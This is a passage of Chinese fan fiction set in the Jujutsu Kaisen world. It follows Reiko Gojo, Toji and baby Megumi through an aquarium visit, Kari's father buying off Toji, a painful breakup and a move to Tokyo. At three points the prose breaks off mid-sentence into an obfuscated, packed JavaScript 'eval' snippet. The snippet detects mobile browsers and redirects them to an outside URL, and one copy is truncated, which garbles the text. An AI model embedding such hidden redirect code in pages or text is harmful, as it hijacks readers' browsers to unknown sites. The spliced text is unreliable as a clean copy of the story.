这点短暂的思索让她的话语停滞了片刻。迟钝了一下,她点点头:“嗯。” 她确实挺喜欢海豚。 甚尔“哦”了一声。 “那你要在这里多待一会儿吗?”他指了指旁边的通往鲨鱼展厅的小走廊,作势要走,“我先走咯?你别跟丢了。” 五条怜轻轻摇头:“不了,我不看了……我觉得这条海豚好可怜。” “是吗?” 他恹恹地抬起眼皮,玻璃背侧的海豚正在进行它的第六次撞击。这次撞得很用力,终于碰出了清晰的“咚——”一声,玻璃似乎也在随之颤动。 “确实。”甚尔收回了刚才给出的不确信反问。“被关在小浴缸里,变成了供人欣赏的玩物,确实有点可怜。” 浴缸……原来他是如此看待那个巨大水槽的。 听着他的比喻,明明已经不想再去看那个可怜的生物了,五条怜还是忍不住又回头瞄了瞄。 他说得没错,和大海相比,即便是宽达数百米的玻璃水槽,也只是微不足道的小小空间而已。 回过神来,甚尔自己自说自话地走开了——亏她还以为他们要继续站在鱼缸前,讨论海豚的话题呢,真没想到自己只是稍稍发呆了一小会儿,他就已经自顾自地走远了。她赶紧推着婴儿车追上。 “说不定!”小跑了几步,她的气息有点喘,话语也显得很急促了,“从海豚的视角看过去,我们也是被关起来的、供它欣赏的玩物。” 甚尔放慢脚步,侧首看着她,原本是想要说点什么的,但看她一脸认真,话到了嘴边才收回话语,无奈地勾了勾嘴角,转而说:“你要是非要用这种说辞安慰自己、顺便安慰海豚的话,我也没办法。” 哎呀,心思被看穿了。 五条怜低下头:“……抱歉。” “这种事不用道歉。” “哎呀,你们俩吵架了呀?” 夏梨远远地站在弧形鱼缸的展台前,游过的姥鲨在她头顶上留下一道奇形怪状的影子。她靠在墙上,笑眯眯地看着他们。 “虽然兄妹吵架是很正常的事情,但这种伤害感情的事情还是越少越好哟。” “嗯,你说得对。”甚尔快走几步,来到她的身边,伸手揽住她的肩膀,“她太磨蹭了,盯着海豚不肯走,所以催了催她。这也不算吵架吧,是不是?” “海豚池开始正常展出了?那我也要去看看!” 完全把协调到了一半的兄妹关系丢到脑后,夏梨拉着甚尔往回跑,欢快的脚步踏得地面也在轻轻颤动。五条怜有点想叹气了——拜托,她刚刚才把婴儿车推到这里来呢。要不干脆在这里等夏梨姐回来吧?她暗戳戳想。 “快来看海豚啦!” 像是忘记了她就是从海豚的鱼缸前回来的,夏梨冲她招招手,热情地邀请她一起过来。偷懒的念头看来要全部泡汤了。 艰难地折返,再艰难地推行。重新回到那巨大的落地鱼缸前,海豚再度游来,却不再直直地撞向玻璃了,转而在水里一圈一圈地盘旋,用躯体的侧面磨蹭般碰撞玻璃,结实粗糙的皮肤在光滑表面拖拽出吱呀的声响。夏梨看得出声,捂嘴笑起来。 “它想和我们一起玩呢,真是个聪明的孩子。” “是啊。”甚尔也搭腔,“肯定是在这里生活得很幸福,所以才会很通人性吧。” 刚才,他可不是这么说的。 前后说辞不一,算不上是什么意料之外的事情。尤其在甚尔的身上,就更不意外了。尽管如此,五条怜还是觉得心里闷闷的,像是有什么东西被压住了——嗯,一定是那点小小的共鸣感无法喘息了吧。 对怎样的人说怎样的话,这算得上是禅院甚尔的特长,可惜并不怎么值得夸赞。他也完全能凭借余光撇见到耷拉着面孔的五条怜,但他可不打算在这种时候照顾她的情绪。 果然是个是个小屁孩,会为了这点小事郁闷。他还是忍不住暗自这么想。 就连海豚也觉得无趣了,在第不知道多少次撞击后,再度遁入深蓝的水域之中,再也不见踪迹。此处也失去了吸引人的价值,还是继续向前吧。 剩下的这段时间,五条怜度过得并不专心,甚至连时间的真实感都带着一点不真切的虚浮意味。各种各样的鱼类都变成了相似的模样,摇摇晃晃着从脑海中游走,露天的表演场也带着海水气味。 大概是因为今日参观的人数不够多,也可能是下个月就将闭馆装修了,最近的海洋表演都被取消了。夏梨很失落,而五条怜是直到走进纪念品商店时才意识到这一点的。 顺便也意识到,今天的游览已经结束了。 ……诶,这就结束了呀? 五条怜眨眨眼,感觉不可思议。 其实也没什么好不可思议的。从海豚馆开始,她的心思就已经不在江之岛了——至于飘忽到了什么地方去,她自己也答不上来。所以懊恼什么的,完全是没有必要存在的情绪,可她还是忍不住开始后悔起来,心想着刚才真该好好游览馆内的每个角落的,否则现在也不会只剩下满脑子的海豚了。 已经走到了出口处的纪念品商店,倒是还有折返的余地。可事到如今,再说自己想要回去,未免也太丢人了,她可说没脸说出口。 思索着思索着,差点她又要想得出神了,幸好婴儿车里的动静顺利得让她回过神来了……不对,婴儿车里发出响声,这可不是什么“幸好”的事情呀! 比五条怜还要更加神游天外的小海胆,在今日的行程即将走到终点之际,才慢悠悠地醒过来,附带很有可能一触即发的尖锐哭声。 警铃已经被拉响了。连一秒钟都耽搁不得,五条怜立刻抱起禅院惠,猛地压在手臂上的重量沉沉地往下坠,拉扯着她险些没站稳。 今天自己的双手好像格外没劲呢……这算怎么回事?明明她很认真地吃完了早饭呀。 探究乏力的原因实在是麻烦事一桩,很快五条怜就决定放弃思考了,努力用手指兜住抱着自己膝盖才没有掉下去的小海胆,小碎步挪到了甚尔身边。 “帮帮我……”她涨红着脸,实在有点不好意思,“我,呃,有点抱不动了。” 本来还想找个借口的,理由都已经到了嘴边,还是没说出口。长篇大论的辩白可没有用处。至少五条怜觉得没用处。 再说了,只要把困境说给甚尔听,他也不会多嘴问一句“为什么”——他只会无奈地白她一眼,然后俯身把小海胆拎起来,轻松地扛在肩上,仿佛禅院惠当真是货架上摆着的含税价一万日元一个的超大紫海胆玩偶。 “这小子,什么有趣的事情都错过了啊。”他一边嘀咕,一边慢悠悠走在货架之间,“那就好好看看纪念品商店吧,反正你也只有这点东西可以看了。” 如此无情的事实完全没有打击到小海胆。他高兴地咿呀咿呀,反而对周围这些毛茸茸的小鱼更感兴趣,还想伸手去摸画着企鹅的玻璃杯,幸好被甚尔先一步拦下了。 “不许玩。”甚尔板着面孔,故意吓唬他,“不然我把你塞回婴儿车里。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14745306|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小海胆睁大了眼,鼓起了脸蛋,呆呆地盯着甚尔看了一会儿,一下子笑出了声——他完全没被吓唬到嘛! 旁观了这一切的五条怜也松了口气。 她可不希望禅院惠被吓哭,虽然这还是很容易就能哄好,但有些没必要的辛苦还是别耗费了吧。 拍拍胸口,余光忽然瞥见到夏梨。她正目不转睛地盯着甚尔和惠,直勾勾的实现几乎要黏在父子俩身上…… ……是了,他们是父子,而夏梨还不知道这一点呢! 不会吧,难道要被发现了吗? 心脏又开始飞快地跳动起来了,五条怜不知道自己现在是不是应该说点什么或是做点什么。在拿定主意之前,夏梨已收回了目光,转头看着她,目光带着一点微妙的神秘感。 “我在想呐。”她说,“甚尔一定能够成为一个很称职的父亲,对不对?” ……这话是什么意思? 五条怜搞不懂她在想什么,提起的心思也完全放不下去,只好笨拙地挠挠后脑勺,努力用手臂挡住自己的表情:“是吧——” 该说是称职还是不称职呢……很难评价。 夏梨点点头:“以后结婚了,果然还是该由他来负责带孩子。” 五条怜还是很懵:“夏梨姐,你要和甚尔结婚了吗?” “还没有啦,我只是随便一说。”仿佛是要证明自己真有那么随便,她还摆了摆手,扬起一阵刻意的风,“对了小怜,你答应我一件事,好不好?” “您说。” “要是你哥哥哪天要和我求婚了,能不能提前告诉我呀?我想早点做好准备!”她笑眯眯的,“你知道的,惊喜求婚是很浪漫没错啦,可要是刚好遇上我灰头土脸的时候求婚,那就太丢人了——求婚可是人生唯一一次的经历呀!” 求婚……应该也不是那么具有唯一性的事情吧。五条怜心想着,慢吞吞点头。 “好。我明白了。” 夏梨笑着轻拍她的肩膀,换上一副认真面孔:“放心啦,我不会抢走你哥哥的!” 肯定只自己刚才短暂的犹豫害她冒出这种错觉了。五条怜慌忙摇头:“我没有在担心这种事!” 她只在担心别的事情,因为她总有种奇怪的感觉。 在他们之间,只有她知道夏梨姐有多么喜欢甚尔,也只有她知道甚尔对夏梨只是利用关系。她明明知道,却不能向任何一方透露这份爱意或是恶意。多么糟糕的信息差。 如果不知道就好了。她有时也会这么想。 “甚尔,你会和夏梨姐一直住在一起吗?” 趁着夏梨回了东京的家,五条怜才鼓起勇气向甚尔试探起这个问题,而他只是翻了个白眼:“考虑这么久远的事情干嘛?” 她尴尬地笑笑:“想先做起未来的打算嘛……” “不是因为楼梯间住腻味了?” “不是不是!我没有住腻!” 还想替自己美好的楼梯间辩解几句,门铃忽然响起,突兀地传到客厅。甚尔冲她挥挥手,意思很明显了,就是叫她去开门。她也不磨蹭,小跑着来到玄关。 这样,简直就像还住在那间小公寓一样。 五条怜没由来地冒出了这种念头。 挂上门链,透过敞开的小缝,看到有些年纪的中年男人站在外头,穿着很精致的西装,头发一丝不苟地梳到了脑后,藏在金丝眼镜后方的细长眼睛正在不着痕迹地观察着她。 五条怜没有见过这个男人,他的目光让她觉得很不自在,仿佛在被审视着,或许他正在心里评价着自己呢。 “请问。” 一定是评价结束了,男人开口说。 “禅院甚尔在吗?” 40.金钱博弈 男人说话时的中气很足,话语仿佛嗡嗡地伴着海风一同钻进了耳朵里,震得大脑都在发颤。 他是来找甚尔的。五条怜在心里再度重申了一下男人的来意。 难道又有新的工作了吗,还是别的什么事情?好奇心正在蔓延,但绝不能因此而耽误眼前的来客。想着最近好像没有被叮嘱“如果有谁找我就说我不在家”之类的话,她点了点头。 “他在的。您请进。” 她推开了门。男人的视线从头顶落下,似乎还在观察她。 最开始,五条怜总觉得他的眼神很叫人冒犯,现在倒是没有这种别扭感了,因为她也在偷偷打量着对方。 眼下可以确定的是,她从没有见过这个人,至少没有打过照面。他的面孔完全陌生,与记忆中任何一个人的模样都不同,唯独细长的眼睛透着些许熟悉感,好像和某个人的眼睛很相似,她一时有些想不起来了。 正思索着,他已走到了走在前面,无需指引便跨过了玄关,径直走向客厅。他的背影,五条怜好像在不久之前见到过。 她说的不久之前,就是—— “啊,华原先生大驾光临!”甚尔从沙发上起身,向男人微微躬身,故意装出一副诚惶诚恐的模样,“抱歉,没能来迎接您。” “无妨。”说着满不在意的话语,他却刻薄地眯起了眼,“只是正好有空,随意前来拜访而已。” 短短的对话针锋相对,一下子斩断了五条怜的所有困惑。 是了是了,难怪觉得很熟悉,因为她确实见过他的背影。就是在海边无趣地度过了一整天后,在家门前见到的夏梨父亲的身影呀! 思绪好像又开始嗡嗡叫了,惊讶到安静不下来。夏梨姐的爸爸来找甚尔做什么呢,还特地挑选了夏梨不在家的时候,不会是…… 她好像想明白了。 不会是要开始讨论结婚的话题了吧! 五条怜的大脑开始自动播放起了婚礼进行曲,身着白西装的甚尔——由于根本没办法想象出他穿白西装的模样,所以幻想中的甚尔只剩下了一件会走路的白色西装——与漫天飞舞的花瓣,一脸幸福的夏梨姐挽着板着面孔的父亲,然后…… ……好吧,在勾勒出华原先生的表情时,不受控的幻想就停下了,因为她想象中的华原先生的表情和现在坐在沙发上的他一模一样,板正且僵硬,带着幽深的冰冷感,似乎很不愉快。 他真的要带着这副面孔和女儿的心仪对象讨论婚姻大事吗?或者,是自己猜错了,他的目的和结婚完全无关? 无论答案是肯定还是否定,和五条怜好像都没有什么关系,毕竟华原先生的对话对象是甚尔。她多少感觉到了自己的碍事,飞快地溜走了。 “哎,阿怜!” 才溜到一半,甚尔忽然叫住她。 “有客人来了,都不帮忙泡杯茶吗?” 语气中的抱怨意味好刻意,简直像是特地说给来客听的。毕竟以前有客人上门,他可不会殷勤地请人喝茶。 被差遣着做事,五条怜是没什么怨念,不过应声听起来还是恹恹的。 在厨房橱柜里翻找一番,不晓得最好的茶叶到底摆在了什么地方,只找到了袋泡红茶,姑且泡上两杯。滚烫热水把茶杯捂得滚烫,用手端着,掌心都要烫熟了。她呲牙咧嘴地放下茶,一抬头,总觉得华原先生的表情都比刚才更冰冷了一点。 怎么了,是嫌弃自己呲牙咧嘴的表情太难看吗,还是纯粹不喜欢袋泡红茶?搞不懂。 “走吧走吧。”甚尔打发她回去,“惠好像在哭,你把他抱回你的房间。” “好。” 家里静悄悄的,没有半点哭声,可甚尔还是这么说了。五条怜不打算质疑他,乖乖地去婴儿房抱起小海胆,横穿过客厅,在华原先生的注视下回到了小小楼梯间。关上门,这房紧密的空间很难得的只给她带来了压抑的密闭感。 甚尔和华原先生正在说话,话语穿透墙壁,被过滤成沉闷的咕呜声。她兀自坐了一会儿,忍不住握住门把手,把门轻轻推开了一道小缝。 “她是我的女儿,我会给她足够的自由,无论她去怎样的地方、找怎样的男人,我都不会否定她。”清晰的话语倏地钻进来,此刻是华原先生在说话,“但她该长大了,而成长伴随着否定。我知道她很喜欢你。” “可您不喜欢我,对吗?” “我会为夏梨选择更合适的结婚对象,你不合适成为华原家的成员。”他从鼻子里呼出一口气,带着轻蔑感,“大家族离家出走的混子,还带着来历不明的小姑娘和一个孩子。我知道你是哪种人,也知道你想要的是什么。我们谈个好价钱吧,别再耽误夏梨的婚事了。” 五条怜的心脏在怦怦跳。 其实她没有猜错,华原先生确实是来讨论婚事的,只是具体的内容是与婚姻截然相反的分离。 听到了甚尔的笑声。五条怜相信他是真心在笑,但考虑到此刻是在夏梨父亲的面前,他绝对会至少伪装出懊恼的模样。 “夏梨喜欢我,要是被她知道心爱的父亲拆散了自己的自由恋爱,我担心她会埋怨您。” 甚尔故作贴心,可惜没有要挟到任何人。 “她会嫁去大阪,这是很久以前我替她做出的决定。而你……留在东京吧,怎么样?下北泽有一套房子很适合你这种单身汉居住。” “要让我妹妹流落街头吗?你也看到了,她带着小孩子,很辛苦的。” 华原紧抿的嘴角闪过一丝愠怒,但很快便消失不见了:“那就新宿吧。那儿有栋去年竣工的塔楼,顶层的风景想必很好。” “小孩们长大后的教育开销也是个问题啊。” “我会给你现金的。”华原的语气已经透出不满了,“这样足够了吧?” 真像是在用对话进行博弈。 甚尔已经快要摸到华原的底线在哪里了。 要是再压榨下去,说不定能够挤出更多的钱,但还是别这么做更好。就当是给老人家留点面子吧。 他垂下头,把脸埋在掌心里,做作地长叹一口气。 “请给我一点时间,让我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756058|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平复一下心情。”他好像真有这么痛苦,“然后,我一定会完成您的心愿。” 钱包小小出血的男人脸上也失去了血色,恼怒地僵着脸,挤出一句:“请尽快。” “好的。”还是继续叹气吧,“没问题。” 达成了共识,华原也不想多待,立刻起身离开了。甚尔还是保持着那副懊恼模样,只用余光观察着玄关处的动静。待砰一声关门声响起,他的颓废姿态也一扫而空,惬意地坐在沙发上,自在舒展四肢,好一副畅快模样。 吱呀——楼梯间的门打开了。五条怜探头探脑,确定华原先生确实已经走了,这才迈出房间。 “您和华原先生的事情已经处理完了,是吗?”她问。 甚尔慢吞吞点头:“嗯。你不是全都听到了吗?” “唔!”五条怜瞬间红了脸,“您、您发现了呀?” “你房间的门开得那么明显,怎么可能看不到。”他轻笑了一声,“不过,那个老头子可能没看到。他光顾着对着我发火了。” “哦……” 这实在算不上什么好消息。 五条怜磨磨蹭蹭在沙发上坐下,把小海胆摆在膝头,任由他揪自己的裤子玩。她偷偷打量着甚尔的表情,看他一脸自在,仿佛刚才的博弈根本没有存在过。 “干嘛?” 许是看得久了,也可能是目光太过不加掩饰,甚尔抛来不耐烦的疑问。五条怜磨磨蹭蹭收回目光,嘀咕着:“您真的要和夏梨姐分手呀?” “是啊,不然呢?”他满不在意的,并不觉得这是多么让人痛苦的差事,“都答应人家了,总不能反悔。” 确实是这样没错啦…… 五条怜不合时宜地想起了夏梨笑吟吟的模样,与她说起结婚时,会不自觉亮起的眼睛。 她有多喜欢甚尔呀?喜欢到笃信他会求婚,还同她约定了小小的承诺。 ……是了。还有承诺呢。 没能等到结婚的惊喜,倒是分手的噩耗先一步到来呢。 光是想着,五条怜都忍不住要叹气了。 从这声叹气中,甚尔意识到不对劲了,赶紧坐起来:“哎哎哎,你可别和夏梨透露这件事啊!” “不会啦!”她急急解释,“我不会说的!” “行吧。” 甚尔勉强松了口气,五条怜则无话可说,默默地抱起小海胆,走到阳台上吹风了。 知道了不该知道的事情,也答应了不该答应的承诺。后悔嘛,多少有一点,不过后悔也是没用的。五条怜努力藏起心中泛滥不止的那点惊讶,努力不让心绪流露到脸上,可是失败了。她依旧沮丧得耷拉着面孔,怎么看都不像是没事的样子。 没关系,这不打紧。她安慰自己。 夏梨姐还要过几天才回家,等到那时候,自己肯定已经收拾好心情,恢复正常模样了,绝不会被看出半点端倪! 所以没事的,没事的,一定—— “我回来啦——!” 区区二十四小时后,华原夏梨推开了家门。 41.惨烈分手 "我回来啦!" 把爱马仕凯莉往地上一丢,夏梨扑过来抱住五条怜。 “小怜有没有想我呀?” 突如其来的亲昵拥抱像是一瓢凉水,倏地浇在身上,五条怜只觉得脊背发凉,心虚感让她好想发抖。 坦白说,确实想了。可惜不是想念的想,而是顾虑的忧思。 “你在抖什么呢?”都来不及掩饰一下,夏梨就已经发现了,捂着嘴偷笑,“哎呀,不会是做了什么坏事吧——比如像是突然心软,偷偷跑去和小惠的爸爸见面了之类的?” 倒确实是每天都在和小惠的爸爸见面哦,因为他和自己住在同一个屋檐下嘛。五条怜暗自心想。 想归想,这话肯定是不能说出口的。她索性将错就错,应下了这番荒唐的猜测,没想到惊讶不已的那方居然是夏梨。 “不会吧,你们真见面啦?”她眨眨眼,不可思议,“你哥哥没生气吗?” “没……没有呢。”五条怜笑得尴尬,实在没想到自己居然要用更多谎言作为弥补,“他不知道这事。” 这么一说夏梨也就明白了,了然般点点头,还拍了拍她的肩膀,俨然一副知心大姐姐的模样。 “我懂。我懂。”也不知道夏梨到底是懂了什么,“放心吧,我绝对不会告诉甚尔。所以你们谈了点什么,有说到关于小惠的事情吗?” 说话间,夏梨已迫不及待地把五条怜拉到了小角落里,紧挨在一起,像是抱团取暖的毛绒生物。 “你们难道要复合了吗?说实在的,婚姻就是相互妥协嘛。虽然小惠的爸爸听起来不是个很靠谱的男孩子,但你也说了,他长了一副漂亮面孔。光是为了这张脸,在一起也算值得啦——完美的另一半不是轻易能够找到的,人总要有所割舍的嘛,你说是不是!” 夏梨说得头头是道,把知心大姐姐的形象贯彻到底,甚至逐渐在往婚恋专家的方向精进了。 谎言越堆越高,垒成一座高塔,五条怜晃晃悠悠站在塔尖上,不安感就此飙升到了顶峰。 “是的是的是的……”总之先不要否定对方了吧,况且夏梨说得不无道理,“说得很对,我会多考虑考虑的……说起来,夏梨姐怎么突然回来了,不是说要住到周日才回家的吗?” 她生硬地扯开话题,把重点拉回到夏梨的身上。 既然不再讨论黏黏糊糊的恋爱话题,似乎也没必要再委屈地缩在小角落里了。夏梨后退了两步,倒在单人沙发上,悠闲地翘起腿。 “嘛,本来是打算在东京待到出发前一天再回来的啦。”她说,“不过爸爸让我早点回镰仓的家,说是去意大利之前太过舟车劳顿的话,会玩不尽兴的。真是的,从东京到镰仓再到回到东京的羽田机场,哪里算得上是舟车劳顿啦!” 她眯起眼,话语间满是怨念,听着却有种炫耀的既视感。五条怜的心一点一点沉下去了,她有种不妙的预感,可她依然不能把心中所想的说出口。 战战兢兢等到晚饭时间,家里一切正常。夏梨和甚尔之间还是黏糊糊的小情侣,好像华原先生的造访只是一场梦。 或许那段记忆只是自己捏造出来的幻觉——五条怜甚至会如此想着。 记忆是切实的,华原的拜访也真得不能再真了,对于这一点,最直接的证明是次日的晚上,从二楼的卧室传来了尖锐到近乎歇斯底里的“你说什么?”,随之而来的是咚咚的声响,估计是有什么东西砸在地上,但更像是直接砸中了五条怜的心脏,心跳变得急促且沉闷。她立刻关上了门,把所有声音隔绝在四方的空间之外。 隔开了一道门,再尖锐的声音也会被抹平,变成钝钝的、分不清字眼的咕哝,可藏在其中的情绪不会被抹去,直直地穿透所有距离,来到五条怜的耳边。 最初是的质疑,之后是愤怒,而后转变为不可思议般的卑微,所有这些情绪都不像是她所认识的那个夏梨姐会拥有的,也太过鲜明了,鲜明得仿佛五条怜才是这些所有情绪的接受者。 不想听了,一点也不想听。 她捂住耳朵,把枕头压在脑袋上,声音和情绪好像都稍稍变轻了一点,但没有彻底消失。禅院惠也开始哭起来了,一定是被楼上的动静吓到了。于是那些情绪也变得更加激动,一度几乎盖住了哭声。 五条怜不想去婴儿房哄孩子,更加不想走出房间。曾经给予她强烈安全感的这处小小的空间变得很像是囚笼,困得她无处可去。 这些声音持续了多久,十分钟还是一个小时?或者是比这更漫长的时间?她没有概念了,走过的每一秒都带着难以言喻的煎熬。她真想痛痛快快地睡上一觉,说不定醒来就能诸事落定,可惜这种好事总是很难发生在她的身上。 伴随着最后沉闷的“咚”一声,所有的噪音都停止了,只余下禅院惠的哭声搅乱寂静。 结束了……吗? 又是一连串咚咚声,急促地从头顶上踩过。有什么人下楼了。不多久,门被砰一下推开,房间里透出的灯光落在外头漆黑的人影上. 甚尔站在门口,手里拎着一只哭到小脸通红的海胆,吓到五条怜差点没喘上气——当然了,在看清来人是谁之后,这口梗住的气总算是顺畅地吐出来了。 “你倒是哄哄他啊。”甚尔满腹埋怨,把小海胆丢给她,“一直哭算怎么回事?” 五条怜想起育儿书里说的,不要孩子一哭就立刻抱起来哄,长此以往会培养出一个独立意识极差、动不动就会哭闹的烂小孩。 尽管深谙这一道理,但只要小海胆哭起来,她总会想办法哄好。撇开看孩子可怜不说,被魔音灌耳也确实不是什么美好的体验。 所以一如既往,甚尔把禅院惠递过来了,她便伸手去接,抱在怀里,轻轻晃悠起来。 用不着多么费心,其实早在被甚尔拎起来的时候,小海胆的哭声就已经减弱了不少。再稍稍哄上一哄,他便自然而然沉入梦乡,伏在五条怜的肩头,把她当作了自己的床。 世界总算是安静下来了。甚尔也松了口气,疲惫似的坐到她身边,压得席梦思猛颤了好几下。五条怜差点又没喘上气。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769741|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他们在同一屋檐下住了有几个月了,也曾并肩走在雨天的人行道上,但像这样坐在一起,却是第一次。她觉得有点不自在。 “甚尔。”深呼吸一口气,她忽然唤他。 “干嘛?” “下次进别人房间之前,可以先敲门。” “哦。” 居然没有不满,也没有反驳,只是恹恹地应了这么一句,真是出乎意料。 五条怜藏起心里的那点小小惊讶,不知道应该再做点或是说点什么才好。怀里的小海胆压得手臂酸痛,她起身走出房间,把禅院惠安置好。回到楼梯间时,才发现甚尔已经懒洋洋地躺下了。 狭窄的楼梯间里只能摆得了小小的单人床,对于五条怜还算够用,对于甚尔可就太勉强了,尤其横躺着,连他的上半身都容纳不下。他的双腿只能委屈地折着,脑袋和大半个肩膀靠在墙上,真是奇形怪状。犹豫了一下,五条怜还是在他身边坐下了,总忍不住回头瞄一瞄他此刻的表情。 偷瞄到第五回,他们的视线撞在了一起。她心虚地收回目光,像个小偷。 “看什么呢你?”甚尔撇着嘴,“有什么想说的就直说吧,想骂我也可以直接骂。” 骂他干嘛呀?五条怜搞不懂他在想什么。 “我不会骂你的。”她很认真地说,“我只是在想,你还好吗?” 甚尔抬起眼眸看她,有点意外。他可没料想到有人会询问他是否还好。 “还行吧。”他用手搓着脸,习惯性叹了口气,“被骂了一通,也被问了好几个‘为什么’,不管事情总算是解决了。” 居然能把分手说成是“事情解决”,真不愧是禅院甚尔。 五条怜曲起腿,把头枕在膝盖上。 夏梨姐现在怎么样了?想象不出来,也不敢去想。 她那么喜欢甚尔,喜欢到会去设想与他结婚的未来。 她对自己的好,说不定只是爱屋及乌,但那也确实是爱意没错。她将自己视作家人,而自己却连这场分手都没办法提前告知,真是……糟透了。 五条怜觉得她背叛了夏梨。 “所以,你们不去意大利了吗?”她问。 甚尔慢吞吞“嗯”了一声:“有些事情,就是得速战速决。” 尽管效率优先,但不可否认,惨烈的分手难免让人心痛——主要是痛在了机票和酒店的退款会被扣掉一大笔手续费的这件事上。 “对了,今晚我睡在这里,你到三楼找一间空客房吧。” “哦。”奇怪的指令,五条怜没有异议,但还是疑惑,“为什么?” “她还在气头上,要是我经过二楼,她会发飙的。” “哦……” 发飙的夏梨姐……想象不出来。既然甚尔都这么说了,那就照做吧。 五条怜起身走到外头,阖上房门时,甚尔忽然叫住她。 “有空就开始收拾东西吧。” 他也坐起了身,对她说。 “明天,我们搬去新家住。” 42.海豚的梦 甚尔所说的新家,指的当然是位于新宿的顶层塔楼公寓——没错,正是这场惨烈的分手交易中换到的战利品,并且是最有价值的那一个。 也难怪在说这话时,他的语气中带上了一点不可避免的小小得意呢。 同样是“新家”这个词,落在五条怜耳朵里,却多少有一点刺耳。她也不知道自己为什么会突然冒出一种莫名别扭的抗拒感,或许是因为不舍得此处镰仓别墅的海景,也可能是夏梨曾经说过,这里是她的家。 当然了,拒绝的话语是绝对说不出口的,真是心思也说不出口,况且眼下也不存在任何拒绝的余地。五条怜收起并不存在的怨言,默默点了点头,走出房间。 卧室已经不属于她了,只好在三楼随便找了间客房,先睡上一觉吧,可惜这一整晚五条怜都没有睡好。 事实上,她甚至都不清楚自己到底睡着了没有。 她的睡意漂浮在奇怪的现实之上。眨眨眼,能看到夏梨牵着她的手走在沙滩上。她的手很冷,带着明显的骨骼感。夏梨姐的手是这么骨瘦嶙峋的吗?有点想不起来了。 手牵着手,她们一路向前,却没有目的。她们越过沙滩上搁浅的海豚,踩着干涸的脏器,黏腻的触感几乎要让人滑到。夏梨姐什么话也不同她说,阴冷的风拂在脸上,湿漉漉的,带着咸涩的海水气味。 走呀走呀,走得恍恍惚惚。这真的是现实吗,还是在做梦?紧握双手的触感如此真实,夏梨被吹起的卷发几乎要触碰到她的鼻尖。 “夏梨姐……” 想要呼唤她,但发不出声音。 想要跑到她的身前,看看她的表情,但身体像是冻住了,除了麻木地往前走,其他什么都做不了。 好怪。好难受。真是糟透了。 挣扎着,五条怜睁开双眼。 伴着雨丝的风从玻璃窗的缝隙间钻进来,阴冷得同刚才拂面而过的海风别无二致。她的心脏跳得很快,燥热的掌心里还留着触摸的实感。她不由得深呼吸了一口气,胸腔鼓起时,沉重的心跳显得更加鲜明了。 刚才,是在做梦吧?她在心里确认。 镰仓临近相模湾,依稀记得相模湾里没有海豚栖息。至于水族馆里那只像是疯掉的短吻海豚,大抵也逃脱不了那个深蓝色的囚笼,更加没有办法成为沙滩上搁浅的可怜生物。所以她想,自己确实是在做梦没错。 五条怜蜷起身子,缩在床尾的一角。她现在什么都不想干,动力早已跌到谷底,哪怕她知道今天会是很忙碌的一天。 雨势变大了,拍打在玻璃窗上的啪嗒啪嗒的声响愈发密集,滚落的雨滴滑下歪歪扭扭的水痕。也有更多的雨水伴随着风被吹入屋里,落在衣袖上,很快就濡湿了一大片,布料湿哒哒地贴着手臂,好难受。 看来没办法再继续这么颓废地躺下去了。五条怜慢吞吞坐起身,关上了窗。雨天的大海变成了灰白颜色,她不想多看,只兀自在床上坐了一会儿——也可能是坐了很久,她也说不好。 一直待到思绪稍微清晰些了,她才走出房间。 今天还有许多事要做,最重要的一桩就是收拾行李。 搬来镰仓时用的那几个纸箱,现在又能派上用场了。 来到这个家时,她没有带多少行李,只打包了几件衣服。现在依然东西不多,只是又多添上了几身衣服,外加夏梨在水族馆买给她的小海豚玩偶,还有零零散散的其他东西。一直摆在床尾没有派上半点用场的吉他也该带走了。 “……啊。” 在零钱包的最深处,她摸到了一抹光滑的弧度。其实很清楚这是什么,她还是把它拿出来了。 银色的弧形耳环,一时无处可放,所以被收进了零钱包里。 这也是夏梨的礼物——她送给了自己好多好多东西。 五条怜摸摸耳朵。耳垂早已不再红肿,再过段时间就可以戴上这种沉重的耳环了吧。 “你收拾好了吗?”甚尔推开虚掩的门,“天气预报说傍晚会转成大雨。再磨蹭下去,开车回东京的路途会变得很麻烦的。” 傍晚…… 听了甚尔的这句话,五条怜才想到要瞄一眼时钟。不知不觉间,时针居然都要碰到数字“5”了。明明也没做太多事情,怎么时间走得如此之快? 她总觉得时间快得蛮不讲理,可惜心怀怨念也没有什么用。她加快了速度。 “好吧,我在车上等你。”甚尔说,“惠的话,我会抱过去的。” “谢谢您。” “小事。” 甚尔满不在意地摆摆手,没把这点谢意放在心上。 他的行李也不多,装了两个纸箱还绰绰有余,禅院惠就被他放进了其中一个敞口的纸箱里,居然还能咯咯咯笑个不停,真是一只奇怪的小海胆。 